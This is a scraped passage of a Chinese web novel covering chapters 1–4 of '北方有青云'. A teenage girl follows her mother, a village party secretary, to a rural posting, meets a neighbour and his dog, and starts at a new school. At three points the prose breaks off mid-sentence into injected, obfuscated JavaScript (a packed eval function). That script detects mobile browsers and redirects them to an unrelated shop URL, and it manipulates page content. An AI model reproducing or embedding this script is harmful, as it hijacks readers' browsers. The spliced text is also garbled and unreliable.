《北方有青云》 1. 乱套 《北方有青云》 文/程十予 /2026.惊蛰晋江文学城首发 “最喜欢听你用那特殊的嗓音喊我的名字,仿佛许多许多阴霾的云垛被你这么一喊,太阳就破空而出,又清清朗朗地照在我寒冷的生命河川上,”——简媜《水问》 - “砰——”地一声,何青云一头撞在厚厚的车玻璃上,身体往前一倾。 “啊嘶……”她抬手,揉揉额头,好不容易酝酿的睡意被撞得荡然无存。 还不等她反应过来,大巴车又突然下坡冲刺,连拐几个大弯,失重感让她心漏了好几拍,下意识抱紧怀里的书包。 坐她旁边的女人也被惊醒,随即注意到她的动作,递过一瓶水:“哎呦这个车开得,听说这几天下暴雨,路都被冲烂了,应该不晕车吧?” 何青云接过:“不晕。” “那你喝点水,要吃水果不?” “都不要。”她拒绝。 大巴车开得颠簸,像游乐园里的碰碰车,只怕水一打开就要泼得满身都是。 胃也不太舒服,恶心得不行,吃完水果可能会吐。 而且车里味道很大,夹杂着旱烟和皮革的味道。 何青云有点头晕了,直起身去开窗。 女人自顾自地打开袋子掏出几个龙眼:“吃不吃点?还有两个小时才到,先垫垫肚子。” “妈我不吃。” “那面包吃不吃?” “我都说了我不吃。” 陈红眉头一竖:“你吼什么?这也不吃那也不吃,身体要不得的,我这不都是为了你……” 又来了,又是这个语气。 何青云也有点不耐烦了,嘟嘟囔囔地把脸侧过去:“我自己饿了会吃,才不要你管。” 最后几句话她小声地吞到肚子里,生怕被陈红听见。 大巴车行驶在山野小路上,很窄,两侧树木郁郁葱葱,遮挡了大部分阳光,只斑驳地撒在泥巴路上。 流动地空气冲散了令人不适的味道,何青云头微微探出,任由自己的碎发随风飘动。 路上有赶羊的村民,旁边还跟着一只大黄狗,鲜红的舌头伸得老长,和成群的小羊沿着山路走,大巴车不得已停下,好给他们让路。 何青云觉得新奇,伸伸脖子往下看。 小羊咩咩叫,赶羊人懒洋洋地抽着鞭子,接着狠狠吸了一口旱烟。 可能是怕车上人等得着急,司机从驾驶位探出头:“喂,走快点要得不?我这一车人还要赶路嘞——” 赶羊人踢了踢黄狗的屁股,示意它带着羊走快点。 “知道了知道了。” 当他经过何青云车窗边,何青云迅速捂住鼻子屏住呼吸,熟练地往后躲了躲,等烟味散去,她又把头探出去。 好想养一只小狗,再养一只小猫,叫什么名字好呢…… 何青云思绪渐渐放空,手托着下巴七想八想。 等羊群走完,司机这才点了火,大巴车“突突”地启动。 “青云?青云?” “嗯?”何青云回过神来,“怎么了妈妈?” 陈红指指她怀里的书包:“东西都自己准备好了吧,这里可不比城里,东西落了可没人帮你回去取。” “带了带了。”何青云扯开书包拉链,一样一样数给陈红看:“户口本,转学申请表,我的档案……来之前检查好几遍了,都在这儿呢。” “嗯,齐了就好。” 陈红点头,看向女儿。 何青云继承了她和丈夫优良的基因,素白的小脸,眼尾下垂,头发乌黑,用一根皮筋绑着,细细软软地垂在脑后,谁看了不说一句“乖娃娃”。 就是瘦,穿着棉麻布料的白色吊带裙,细细的肩带松松垮垮地挂在白皙的肩头,竹竿一样,空空荡荡的。 陈红还因为这个带她去医院查过,除了有点贫血,什么事都没有。 就是何青云自己不爱吃东西,饮食也不规律,母女俩因此还吵了很多次架。 陈红叹了口气:“你说你,非要跟着我下乡,不晓得你想些什么……” “我就要跟着你,你去哪我去哪。”何青云梗着脖子,气呼呼的,像是十分抗拒谈论这个话题。 陈红拿自己女儿没办法。 何青云爸爸重病走得早,她是陈红一手带大的。小时候走丢过一次,差点没找回来,等陈红急匆匆赶到警局,小小的何青云就坐在凳子上默默低头啜泣,旁边围着几位女警柔声安慰。 看到陈红跌跌撞撞跑过来,小何青云嘴一撇,嚎啕大哭起来。 也许就是这一次受到的惊吓太大,之后何青云就离不开陈红了,去哪都要带着。 即使现在何青云青春期,别扭又拧巴,即使母女俩三天一小吵五天一大吵,话不投机半句多,何青云还是很依赖她。 恋母情结。 陈红想到同事说过的话,眉头更紧。 想到这里,她又忍不住絮叨:“我的意思是你现在高二,正是学习的关键时期,那乡里的教育资源肯定没有你学校好,你自己成绩什么样自己心里有数,所以到了这边更不能松懈,学习上的事妈妈也帮不了你,你要上什么样的大学自己要有目标……” “你别老说我学习行不行!”一谈到成绩学习,何青云就跟炸了的刺猬,语气带着火。 陈红最不喜欢她这个语气,转过身来也生气了:“学习还说不得的啊,你现在在学校排多少名我都不好意思说,重本都考不起,你张阿姨的儿子,理科前二十,隔壁家女儿,文科前五十,你看看你自己,以前成绩不是挺好的吗,到了高中越学越差,越学越回去,还怎么考大学?” 察觉到座位前面好像有人在往后看,何青云压低了声音,但胸口不断起伏:“成绩成绩,你就只会说这些!” “你现在不讲成绩讲什么?我告诉你你现在最重要的事就是考一个大学,学习上的事自己不上心,妈妈说你两句就开始顶嘴,你现在是怎么回事?” 何青云就知道要吵架,头一转拒绝对话。 陈红还在数落:“我告诉你啊,前两天买的手机,是让你有事方便联系我的,不准玩游戏,上课放老师那里,回家了给我放鞋柜上,听见没有?别让我发现你偷偷玩手机成绩下降了啊……” “又不是我非要你买的!”吼完这句话,何青云鼻头一酸,眼泪不争气地流出来。她连忙抬手去擦,装得若无其事。 但眼泪越擦越多,她就假装看窗外的风景。 两个人就这样沉默着不说话,谁也不肯先低头。 直到大巴车稳稳停住,司机解开安全带往后喊:““大麦村到了——有要下车的没——” “有!”陈红应道,拿起包,转头催促,“走了,快点。” 何青云不情不愿地跟着下了车。 两人刚下车取完行李,站台处就有两个人迎了上来。 年纪大点儿的中等身材,黄脸瘦削,颧骨突出,一下握住陈红的手。 “是……陈书记不?” 说话卷着舌头,带着浓浓的乡音。 “哎哎哎,我是我是。”陈红立马反握,“请问您是……” “哦哦,我是咱们大麦村的村长,姓马,马成功。上面说咱们村来了个女书记,这不,我带个人过来接接你。” “马村长啊,你好你好,叫我小陈就行。”陈红爽朗笑笑。 何青云怯生生地站在后头,被他们熟稔的初见吓到,捏着书包肩带悄悄往村长那边观察。 一抬眼,正巧和村长旁边的男人对上视线。 男人肩宽腿长,身型挺拔,漆黑的碎发半垂着,遮不住立体的眉眼。鼻梁高挺,眉骨连着,投下一道阴影。 他注意到她观察般的视线,掀起眼皮冲她扯出一个笑,懒散抬手。 “嗨!” 隔着两道人的身影,何青云看清他脸的瞬间,呼吸一滞。 立马低下头,无视男人动作,盯着自己脚下。 村长和书记的谈话还在继续,何青云守着行李百无聊赖。 不料陈红下一秒将自己推出来:“这是我女儿,何青云。青云,这是马村长,叫人。” 何青云小声说:“马,马村长好。” 她声音干净,像井口汩汩外溢的泉水,叮咚落在青石板上。 马村长叼着烟斗:“哎好好好,这名字好听。陈书记,你女儿长得不错嘞。” 陈红笑着接话:“就是人有点内向……” “……”何青云不接话,只想着什么时候能走。 寒暄许久,陈红才终于注意到旁边还站着人。 “哎,这位是……” 村长介绍:“哦,我们村北方,力气大,带他过来帮你们搬行李。” 男人好脾气笑笑,好像一点儿也不在乎自己刚才被无视。 “书记好,我叫梁北方。” 他又偏头,冲躲在母亲身后的何青云打招呼。 “妹妹好。” 何青云有些尴尬地点点头。 谁是他妹妹。 陈红打量男人一阵:“小伙子有力气,那就辛苦你了。” 接着对村长说:“村 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372061|199961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长,这天也不早了,先去房子里看看休息休息吧,坐了这么久的车,孩子也累。” 村长忙声接话:“哎呦哎哟,你看我这记性,光顾着讲话去了,走走走,先进屋,进屋再说。那个,北方啊,你去帮人小姑娘提行李。” “好嘞。” 梁北方得了命令,上前几步来到何青云面前。 “这些都是你们的?”他问。 “嗯。”何青云小声回。 梁北方不含糊,弯腰,三两下提起行李,提不住的就缠在手腕上,转头道:“我们走吧。” 何青云眼睁睁地看着需要她和妈妈两个人合力才能勉强提起的行李被梁北方像提玩具一样轻松拿着,小麦色的手臂青筋凸起,半天说不出话。 “……走,走吧。” “书包要我拿吗?”他又折返回来,低头问。 “不用了,我自己背。” 他隔她很近,何青云能看见他双眼皮褶皱极深,瞳孔漆黑,下颌线利落,淡色的薄唇紧抿着,又在下一秒弯出一个好看的弧度。 她又低下头去。 梁北方“嗯”了声,示意她跟上,四人往山下走去。 村长在前面给陈红介绍:“…………这个房子大,我让人打扫了一边,这样您和闺女也省事,刚好,北方家也在这儿,你们以后有什么事就叫他帮忙……” “太客气了……” 何青云心里还是有气,边走边踢小石子,脚步愈来愈慢,前面的讲话声也渐渐小了。 就这么慢慢走,都不会有人发现她掉队了。 “哼。” 烦死了,她狠狠拉了一下书包肩带,发出不小的动静。 前面人迅速转头。 “怎么了?不舒服吗?” 何青云吓了一跳,眨眨眼抬头,像是自己的小世界被人闯入,小心思一览无余。 “呃……没有。” 这个男的怎么也走得这么慢? 梁北方笑笑:“没事就好,陈书记和村长都上前了。” “哦。”何青云瞥他一眼,又迅速移开视线,“内个,还要走多久啊?” “快了,前面下了那个坡就到了。” 正说着,突然,一道黄色的东西从旁边树丛里窜了出来,伴随着一阵嘹亮的狗叫声。 “汪汪——汪汪汪——” 何青云一惊,下意识尖叫:“啊——!什么东西?!” 梁北方眼疾手快地挡在她面前,厉声呵斥:“嘘,八角!” 小狗兴冲冲地跑到梁北方脚边,对着他摇尾巴,却对着他身后的何青云龇牙咧嘴,发出呼噜呼噜的声音。 何青云惊魂未定,捏着肩带的手指都发白。 “原来是小狗……” 自己刚才那个样子,好丢脸。 梁北方冲小狗道:“八角,回家去,不准出来吓人。” 又转过来安抚她:“没事吧?它不咬人,就是闻到生人气,有点兴奋。” 何青云摇摇头:“我不怕狗。” “那就好,你要是喜欢,随时来找它玩。” “……嗯。” 坡下立着俩栋木房子,中间有一个大平地连着,前面是田,背后靠山。 超级简陋。 村长带着他们走向右边的木房。 “咱们村里条件不好,还请书记别……” “挺好的。”陈红说,“组织上派我来呢,就是为了带着咱们村脱贫致富的,要是一开始就什么都好,那我就不用来了吗是不是?” “哎是是是。” “那今天就辛苦你们了,我先和青云把东西收拾收拾,明天就去开会,更加全面的了解一下村子的情况。” “好好好,有陈书记一句话,我也放心。北方,你把东西放进去。” “都放好了。”梁北方回。 何青云站在青石板上,看着他们道别。 陈红冷不丁拍了她一把:“青云,快谢谢人家。” 又拍她。 何青云忍着烦躁,声音干巴巴的:“谢谢村长,谢谢……” 和妈妈的争吵,加上转学等事,她脑子晕晕的。那个才听过一次的名字,在混乱的脑子里打了个结,吐不出来。 “梁北方。”一旁的男人立马接上,没有任何被遗忘的不快,“叫我名字就行。” 她一卡壳,正对上梁北方含笑看她的眼。 她又飞快垂眼,脸上有点热。 “……谢谢。”她最终吐出两个硬邦邦的字,跑进了屋里。 一切就这样乱了套地开始。 2. 初夏晚风 “好了。” 何青云手叉腰,满意得看着自己和妈妈一起收拾出来的房间。 这个木屋有两层,她们把二层收拾干净做卧室,还有一些零零碎碎的物件堆在一楼没来得及收拾。 家居寥寥无几,屋子显得空荡荡的。 何青云累得腰酸背痛,一头扎进新换上的四件套上,整个人呈“大”字瘫倒在床上。 陈红还在扫地,看到她又开始唠叨。 “哎,起来起来,你看你身上脏的,衣服上全是灰,别把新换的被子搞脏了。” 何青云翻了个身,把脸埋在被子里猛吸几口,这才恋恋不舍地拿起睡衣。 “我洗澡去了。” “厕所在一楼最里面,别走错了。” “我知道。” 洗完澡出来,何青云只觉得神清气爽,浑身轻松。 她偏着头,用毛巾胡乱擦着头发,脚踩湿漉漉的拖鞋“嘎吱嘎吱”地上楼,一步一个湿脚印。 四月初的乡下微风吹,穿着棉质长衣长裤刚刚好。 何青云顶着一头半干的头发在卧室里晃悠,像个巡视自己领地的好奇小猫。 卧室很大,要是能放个网上那种懒人沙发,或者书柜,就更完美了。 畅想还刚起头,就被陈红的声音打断。 “头发怎么不吹干?明天早上头疼可别来找我。” 何青云顺势趴在床上,拖长声音:“妈妈——你帮我吹。” “多大人了还要我吹头发,说出去笑死人。自己吹,没看见我在忙?” “你帮我吹你帮我吹快点快点快点……” 陈红被弄得没辙,只得无奈地拿过吹风机:“好好好,就这一次啊。坐过来点。” 何青云顺从地挪过去,乖乖坐正,任由陈红的手在她头上拨来拨去。 温热的暖风顺着头发往下吹,原本厚重的发顶慢慢变得轻盈蓬松,浑身上下都变得轻盈。 她没事干,一边享受一边打开新买的手机,见有人发消息过来,就开始敲敲打打。 陈红在她身后随口一问:“和谁聊天呢?” “朋友。” “男的女的?” “女的,哎呀你老是问烦不烦。” 何青云立马将手机关掉,跳下床:“头发吹干了,我去外面发个消息。” 不等人反应,“噔噔噔”就跑了出去。 二楼挑出半截回廊,何青云靠在上面手支着,打开新下载的微信。 对面头像是一个卡通动漫形象,她高中最好的朋友,晏书慧。 陈红是知道她俩的关系的,双方母父也都认识,交情不错。 但何青云就是不喜欢陈红问来问去,什么都要打听清楚。 看到朋友的回话,原本烦躁的心情立马阴转晴。 晏;【你到地方啦?】 何:【嗯嗯,下午就到了。】 乡下网很差,何青云看着自己的信息转啊转,半天发不出去。 她有点懵,抱着手机到处找信号。 终于,在回廊最外边,信号很好,消息成功发了出去。 她抬头一看,对面是梁北方家。 唯一一盏路灯立在平地上,光晕软软地散开,把树的影子拉得又细又长,晃晃悠悠地粘在地上。 梁北方正巧推门出来,换了一件纯白的T恤,黑发被他随意抓到脑后,露出饱满的额头。 臂弯处抱着下午那只小土狗,稳步上楼。 原来小狗睡觉了。 何青云想着,手机信息却突然震个不停,她连忙手忙脚乱地拿起来看。 是晏书慧几分钟前发的消息终于转了出来。 晏;【你人呢。】 晏:【算了我玩不了太久手机,我先发你看到了回我。】 晏:【我今天写了三节晚自习的数学,结果就写了五个题。】 晏:【哭】 …… 何青云一条条回复。 何:【乡下网超级差,我现在才找到信号。】 何:【我现在回你!】 …… 直到指尖翻到最后一条。 晏:【今天都没人陪我吃饭了。】 何青云心口一缩。 她在打字框里删删减减,那句“要不你找别人陪你一起吃”怎么也发不出去。 如果有人陪晏书慧一起吃饭,晏书慧是不是就要有新的最好的朋友了? 但是好朋友有好朋友是很正常的事情呀,更何况晏书慧性格好,人缘好,谁都想和她做朋友。 何青云试图安慰自己。 一秒过去,安慰失败。 何青云又开始戳屏幕。 何:【你能不能只和我玩得最好呀?】 删掉。 何:【我是你最好的朋友吗?】 删掉。 遇到弥足珍贵的人的时候,是需要很用力地抓住的。 可何青云没有勇气。 往复几次,倒是晏书慧先发来了消息。 晏:【不说了,我妈催我睡觉了,明天聊!】 何:【我也是,晚安。】 - 次日一早,何青云就跟着陈红来到了村上学校。 这个学校是大麦村和隔壁几个村一起合办的,涵盖了小学初中高中所有年级。 陈红领着何青云来到高中教务处,教务处主任是个中年女人,姓吴,瘦瘦条条的,脸上架了副眼镜,眼睛就在镜片后面溜溜转。 陈红先开口,面上带笑道:“主任您好,我们是今天来办理转学手续的学生。我是她妈妈。” 主任让她们坐下,接过何青云递过来的相关材料翻看着。 “何青云同学是吧,我看你原来成绩还可以哦,读高二,应该能排到前几名吧,学校也是城里重点学校,转到我们这里,师资力量方面可能没那么好,你自己要努力的。” 毕竟是新生,吴主任还能保持基本的仁慈。 “……我会的主任。” 何青云没想到,自己在原来学校中不溜秋甚至有点靠后的成绩,在这里居然还能排前几。 陈红坐在一旁,刚想开口说些什么,一个电话响了起来。她面露歉意,对主任指了指手机,跑出去接电话。 没过几分钟,她又风风火火回来,边迅速收拾东西边语速飞快道:“主任啊,实在不好意思,工作上有事催我,我得快点过去……手续都办好了吧,我这孩子交给你了……” 一阵兵荒马乱之后,办公室里骤然安静下来。 “何青云。” 听到主任叫自己,何青云不由自主挺直了脊背。 果然不管在哪,她都很怕教务处主任这一类人。 吴主任端起茶杯抿一口:“别紧张嘛,你转学过来,是因为家长工作变动?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372062|199961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “嗯。” “两边学校教学进度和安排上可能会有点小小的差别,”吴主任宽慰道,“转学多多少少都会遇上这样的问题,你资质好,稍微用点心就能补上,别怕。” “……嗯。”何青云不敢保证。 “我们学校,你也看到了,十二个年级一起,高中部呢是早上七点开始上课,晚上七点放,等到了高三要晚一个半小时,作息上适应不?” “适应的。”经历过原学校的早六晚十,这样的作息简直是奖励。 “不错不错,我看你是文科生?那正好了,我们一个年级刚好就两个文科班。你班主任一会儿带你回班,教材被她抱走了,你找她要就行。” 正说着,办公室的门被“轰”地一声撞开。 “徐莹莹!我说了多少次进我办公室要敲门!” 吴主任“噌”一下站起来,怒吼着。 何青云吓得一激灵,下意识也跟着站起来。 “我这不着急看我的新学生嘛……何青云?哎呦长得这么乖,我是你班主任徐莹莹,走吧走吧快上课了,我带你回班。” 一切发展得太快,等何青云回过神来,她人已经站在了高二(1)班的门口。 徐莹莹拍了拍手:“安静都安静了,上课铃响了都没听见吗?我从下面走上来,就我们班最吵!” 说着她眼疾手快地抽走前排男生桌洞里藏起来的小说。 “下课来我办公室一趟,还藏,你当我瞎啊。” 男生欲哭无泪:“不是,老师,我……” “加800字检讨,平时分扣3分,放学前放我办公室。” “另外,我们班转过来一位新同学,大家掌声欢迎。” 一转头,徐莹莹立马变得如沐春风。 “进来吧何青云同学。” 何青云踏上讲台,神色淡然。 “大家好,我叫何青云,今后就是同学,希望能和大家一起学习一起进步,谢谢。” 徐莹莹说:“你坐在陈宝娇旁边。教材给你拿过来了。” 叫陈宝娇的女生立马举手,何青云背着书包过去坐下。 板凳还没坐热,“嗖——”一张纸条飞到何青云桌上,她捡起打开。 “你好,我叫陈宝娇。^^” 她转头看去,只见陈宝娇头也不抬,笔尖在纸上刷刷写着,然后揪成团,砸在前面男生桌上。 与此同时,那个男生往何青云桌上又砸了一张纸条。 何青云:…… 打开一看。 “同学你好,我叫宋均山,你同桌陈宝娇她有点不一样,脑子反应会比别人慢一点,但她特别乖,平时上课特别安静,绝对不会打扰影响到你听课学习。如果之后有什么需要帮忙的地方,不管是学习上的事,还是和她相处遇到的小麻烦,都可以来找我,我一定尽力帮忙,谢谢。” 还挺有礼貌。 台上徐莹莹还在讲纪律问题,何青云认真回复了他们然后扔了回去。 “你好,我叫何青云。” “我知道了,谢谢你。” “咳。”徐莹莹突然咳嗽一声,“好了,就讲这么多,剩下时间自己自习,有些同学啊,收收心,好好学习比什么都强。明天年级统一考试,语数英,都给我做好准备。” 班里瞬间哀嚎遍野。 何青云收拾书桌的手一顿。 完蛋了。 3. 两个世界 何青云翻看着教材,止不住地叹气。 这里的进度和原来学校差不多,甚至还慢一点,能很好衔接她的空窗期,慢到足以让她游刃有余。 但是,何青云瞥见窗户外面,遮遮掩掩却轻而易举被她看见的那些打量她的眼神,像看见了白炽灯的飞蚊一样黏上来,让她无可适从,也无处可躲。 学生时代的八卦总是传得飞快。 “就是那个,从城里来的转学生。” “城里来的?成绩肯定很好喽,干吗转到我们乡里?” “谁知道……” 完蛋了。 何青云真的很想为自己解释。 她成绩一点儿也不好。 但是所有人来来往往,把她一点点看低了。 何青云身子矮下去,假装在看书,密密麻麻的符号在她眼前跳动。她觉得自己像被钉在博物馆里的昆虫标本,每一个路过的人都可以评头论足,而她却动弹不得。 好烦啊! 心中的小人怒吼一声。 同桌陈宝娇正用蜡笔在纸上涂抹着鲜艳的色块,发出细碎的沙沙声。画完,她前倾戳了戳前桌。 “宋均山。” 男生迅速转头:“怎么了?” “送给你。” “哇塞,画得真漂亮。”宋均山手中的笔还没放下,一推鼻尖的眼镜就开始夸,“回家挂在我房间好不好?” “可以。” 陈宝娇酷酷地回答。 察觉到何青云的目光,陈宝娇歪头冲她一笑。 “你好,我叫陈宝娇。” 被抓包的何青云立马坐正,还不等她回答,前面宋均山先开了口。 “要上课了哟,不能打扰别人。” 然后自然地牵起她的手,温柔地用湿纸巾将她手上粘着的颜料擦掉。 两个人的氛围太过美好,何青云知趣的不再说话。 – 考试这一晚何青云不出所料地失眠了。 第二天,她烦躁地按下闹钟,烦躁地刷牙,烦躁地顶着两个大黑眼圈出门。 陈红早早走了,桌上给她留了早餐,何青云没胃口,看也没看就背上书包去推门。 就在她垂着头,准备拖着步子去学校时,一团黄乎乎毛茸茸的影子“嗖”地蹿到她脚边,热烘烘的。 是八角。 它似乎完全不记得自己前两天还对着她吠,此刻正欢快地围着她打转,尾巴摇得像螺旋桨,乌溜溜的眼睛仰望着她,嘴里发出“呜呜”的哼唧声。 何青云一愣,旋即蹲下去摸摸小狗头,心情好了不少。 和她想的一样软。 “八角?你到哪里去了,不吃饭了?” 突然,梁北方的声音从旁边传来,不高,带着刚起床不久的微哑。他大概是跟着八角出来的,站在自家屋檐下,穿着简单的T恤,手里还拿着给小狗准备的水盆。 八角听到主人的呼唤,犹豫了一下,继续对何青云示好,甚至想把脚搭在她膝盖上。 梁北方懒洋洋走过来,低头对何青云笑笑:“早上好。” 说着,他才弯腰,大手呼噜一把八角的脑袋,“走了,别耽误人家妹妹上学。” 何青云看着他熟练和小狗互动的样子,抿了抿唇,在他转身之前冲小狗拜拜。 “要是喜欢,可以直接在院子里叫它,八角一般就在山上玩。”梁北方似乎看穿了她的念念不舍,扯起一个笑,“它就招小孩儿喜欢。” “它也挺喜欢你。” 何青云站起来眼睛一亮,然后扣着肩带,小声“嗯”了一句。 就在这时,兴奋的八角突然蹦跶转圈,后腿不小心绊在了何青云的脚踝上。 何青云本就精神不济脚下发虚,被这突如其来的一绊,整个人惊呼一声,踉跄着向后一退。 梁北方反应极快,一个箭步上前,稳稳扶住她的手臂,将人拽了回来。 力道有点大,何青云站定后,被他抓过的手臂隐隐作痛。更重要的是,过度惊吓和睡眠不足让她神经极度脆弱敏感。 她像触电一样猛地甩开他的手,后退一步,脸上毫无血色,脱口而出的不是感谢,而是一句充满惊恐和防御的。 “你别碰我!” 话一出口,两个人都愣住了。 何青云看见梁北方迅速松开了手,脸上闪过一丝错愕的抱歉,像一面镜子,让她瞬间清醒过来。 完了。 后悔像冰冷的湖水彻底将她淹没。 她知道他是好心,可身体和嘴巴比脑子快了一步,面对一个不算熟的成年男人,本能地害怕他的触碰。 她想说“对不起”,想说“我不是那个意思”,可喉咙像被那四个字自己给堵死了。只能张了张嘴,脸色红白交错,最终化为一片难堪的死灰。 梁北方退后半步,看了一眼旁边还在傻乐的八角,语气平淡:“路上地滑,小心点。” 何青云嘴唇动了动,攥着书包带,一声不吭地快步离开。 梁北方站在原地,看着她的背影,半晌,低头对八角叹了口气,语气无奈:“你呀,尽给我添乱。” – 忐忑来到学校,何青云拿着语文书想再多看看容易写错的字词,紧张地等着考试。 不久,徐莹莹踩着上课铃声走了进来,书往桌上一放。 “学校打印机坏了,咱们这次考试取消,看看主任什么时候修好,现在开始上课。” 教室里炸开锅的欢呼声立刻像浪一样扑过来。 担心了一整个晚上的考试就这么如儿戏般取消了,何青云只觉得荒诞。 同时她也松了口气,心里暗自窃喜,很快放松心情认真听课。 眼前忽然递过来一块黄澄澄的面包。 何青云转头看向右边。 陈宝娇正看着她,圆圆的眼睛很干净。她指了指面包,又指了指自己的嘴巴,做了个“啊呜”的动作,然后捂着嘴笑起来。 “早上,”陈宝娇慢吞吞地说,每一个字都咬得很认真,“没吃。” 何青云愣住了,没想到陈宝娇居然知道自己没吃早餐。 前面的宋均山听见动静转身,看见这一幕笑了笑,从自己桌洞里摸出一个牛奶,轻轻放在何青云桌子上。 “娇娇的面包是早上多带的,她没吃,”宋均山推了推眼镜,语气温和,“牛奶是新的,放心喝。” “谢……谢谢。”何青云接过面包,声音干涩。 一天时间很快过去,何青云背好书包慢慢走回家。 木门紧锁, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372063|199961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周围静悄悄的,她拉开书包拉链准备开锁。然而,手在包里摸索了一大圈还没碰到金属材质,何青云心一下子提到了嗓子眼。 又上上下下找了一圈,她只能坦然面对事实。 没带钥匙。 因为考试太紧张,连手机也没拿,陈红不知道什么时候回来,何青云呆呆地抱着书包在青石板上坐下,茫然地盯着地上。 还不如考试呢。 她静静坐着,看着天色越来越暗,像是要沉下去。 对面梁北方家的窗户亮起了暖黄色的光,模糊的人影在窗后晃动。何青云看着那光,手指抠着书包上的线头。 她要给妈妈打个电话,她要去借手机。 找谁借?这里她只认识……隔壁那个人。 早上那一幕毫无预兆地撞进脑子里。 ——“你别碰我!” 何青云有点头疼。 梁北方……应该不会借吧?早上刚吼完人,晚上就去求助,他会觉得自己麻烦,还是会觉得自己脸皮厚? 心里两个小人开始打架。 四周更静了,她看着对面窗户的光,数着里面人影晃动的次数。 他好像在做饭,身影在厨房和堂屋间移动。 有两次,他走到窗边,朝外看了看。何青云立刻低下头,把自己缩得更小仿佛这样就不会被看见。 她决定数到十。数到十,就站起来,走过去敲门。借个手机,打完电话就说谢谢,然后回来等。 很简单。 “一。” 月亮好像出来了。 “二,三。” 对面传来炒菜的声音,还有隐约的青菜香。她的肚子不争气地叫了一声。 “四,五。” 万一他装作没听见怎么办?万一他不借她怎么办? “六,七。” 要不再等等?说不定妈妈下一秒就拐个弯回来了。她伸长脖子往路口看,只看见空荡荡的泥巴路。 “八……” 何青云站起来,腿有点麻,她扶着墙稳了稳,心跳得厉害像要撞出胸膛。 “九。” 她深吸一口气,抬脚—— 对面那扇木门“吱呀”一声打开了。 暖黄的光涌出来一块,梁北方站在光里。他像是要出来收晾在屋檐下的什么东西,一转头,目光自然而然地落在了她身上。 他顿了一下。 何青云僵在原地,进也不是,退也不是。两个人中间隔着四五步的距离,像两个世界。 梁北方没立刻走过来,他就站在自家门口,隔着那段距离,声音不高,却很清晰。 “何青云?” 她像是被点了名,下意识挺直背。 “还没进门回家?”他问,眉头蹙起,关切道,“陈书记还没回来吗?” 他看起来像是完全忘记了早上的事。 何青云张了张嘴,声音卡在喉咙里,细得像蚊子哼:“还没,我忘了带钥匙和手机,能不能……借你手机,给我妈妈打个电话?” 说完最后一个字,她立刻垂下眼。 短暂的安静。 然后她听见脚步声,踏过青石板停在她面前,一双大手骨节分明,递过来一部手机。 “给你。” 4. 乖小狗 何青云接过,手机还带着梁北方掌心的温热。 她按亮屏幕,微亮的光映着她的脸。她背过身去,拨通了妈妈的号码。 等待接通的“嘟嘟”声在黑夜里格外漫长。 响了四五声,通了。电话那头背景音嘈杂,不停的有说话声和翻书声。 “你好,哪位?” “妈妈,是我……” “青云?”妈妈的声音很快,“怎么了,妈妈在开会——” 何青云的心往下沉了沉。她握紧手机,小声开口:“我忘带钥匙和手机了……” “什么?”陈红顿了一下,声音压低些,“你这孩子怎么这么不小心?现在人在哪?” “在,在家门口。” “等着,我——”那头有人喊“陈书记”,陈红应了一声,语速加快,“我这边会还没结束,走不开。这样,你去村长家或者……对了,小梁同志在家吗?” 何青云瞥了旁边一眼,梁北方没看她,他正蹲在地上,借着月光用一根草茎逗爬过的蚂蚁,侧脸在灯光下显得线条分明。 “……在。” “那就好!”陈红像是松了口气,“你请他帮个忙,看能不能在他家待会儿,等我这边结束——哎,李主任您说,青云听话啊,有礼貌一点,我先挂了!” "妈——" 电话已经断了,只剩忙音。 何青云慢慢放下手机,转过身把手机递回去,没敢看他的眼睛。 “谢谢。” 梁北方接过,随手揣进裤兜。 “陈书记怎么说?” 何青云盯着地面石板:“她说,她一会儿就回来。” 话说出口的瞬间,她自己都愣住了。 为什么要撒谎?明明妈妈说了可能很晚回来,可嘴像有自己的意识,把那个更艰难,更需要开口求助的现实,死死堵了回去。 梁北方“嗯”了声,只道:“有需要叫我就好。”转身回屋,虚掩着,留了大部分光漏在走廊。 何青云慢慢坐会青石板上,抱住膝盖,把脸埋进去。 这下好了,谎撒出去了,路也堵死了。除了等,没有别的办法。 鼻子有点酸,她用力眨眼睛。 脚边忽然传来毛茸茸的触感,她吓了一跳,抬头。 八角不知什么时候溜达过来,蹲在她脚边,湿漉漉的眼睛在昏暗里亮亮的。它往前凑了凑,用凉凉的鼻头碰碰她搁在膝盖上的手背。 见没被推开,八角胆子大了些,干脆把下巴搭在她的鞋面上,尾巴晃来晃去。 何青云伸出手,轻轻揉了揉小狗暖烘烘的脑袋。 八角耳朵立刻垂下去,舒服地眯起眼,蹭了蹭她的掌心。 紧绷了一天的神经在此刻终于放松了下来。 就在她摸小狗摸得起劲,对面那扇门又打开了。 